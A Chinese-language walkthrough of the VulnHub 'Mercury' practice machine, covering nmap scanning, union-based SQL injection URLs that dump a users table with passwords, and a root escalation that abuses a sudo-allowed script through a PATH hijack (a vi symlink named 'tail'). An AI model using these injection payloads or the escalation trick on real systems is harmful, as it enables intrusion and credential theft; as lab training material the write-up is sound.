vulnhub-Mercury

靶机描述

Difficulty: Easy

Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com

下载 https://www.vulnhub.com/entry/the-planets-mercury,544/

清单

  • 信息搜集

    • netdiscover
    • nmap
  • 利用

    • sql注入
  • 提权

    • sudo

信息搜集

靶机IP

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5uRAiFrP-1601208030462)(http://do.yutian233.xyz/image-20200927194449462.png)]

端口扫描

nmap -sS -sV -p- 192.168.0.112

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy WSGIServer/0.2 CPython/3.8.2

8080

由python 搭建

image-20200927194657001

当访问时 http://192.168.0.112:8080/1

可以看出给出了目录 mercuryfacts

mercuryfacts

image-20200927194812953

存在sql注入

http://192.168.0.112:8080/mercuryfacts/88888  union select group_concat(table_name) from information_schema.tables where table_schema=database()
(('facts,users',),)


http://192.168.0.112:8080/mercuryfacts/88888 union select group_concat(column_name) from information_schema.columns where table_name='users'
 (('id,password,username',),)


http://192.168.0.112:8080/mercuryfacts/88888 union select group_concat(id,password,username) from users
(('1johnny1987john,2lovemykids111laura,3lovemybeer111sam,4mercuryisthesizeof0.056Earthswebmaster',),)

使用 webmaster mercuryisthesizeof0.056Earths 来登录

webmaster

mg-wmr5YIgO-1601208030481

拿到shell 来到 notes.txt

得到用户 linuxmaster 用户的密码

linuxmaster

提权方法来自

image-20200927195638823

ln -s /bin/vi tail
export PATH=.:$PATH
sudo -u root --preserve-env=PATH /usr/bin/check_syslog.sh

:/bin/bash

root

image-20200927195559377

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值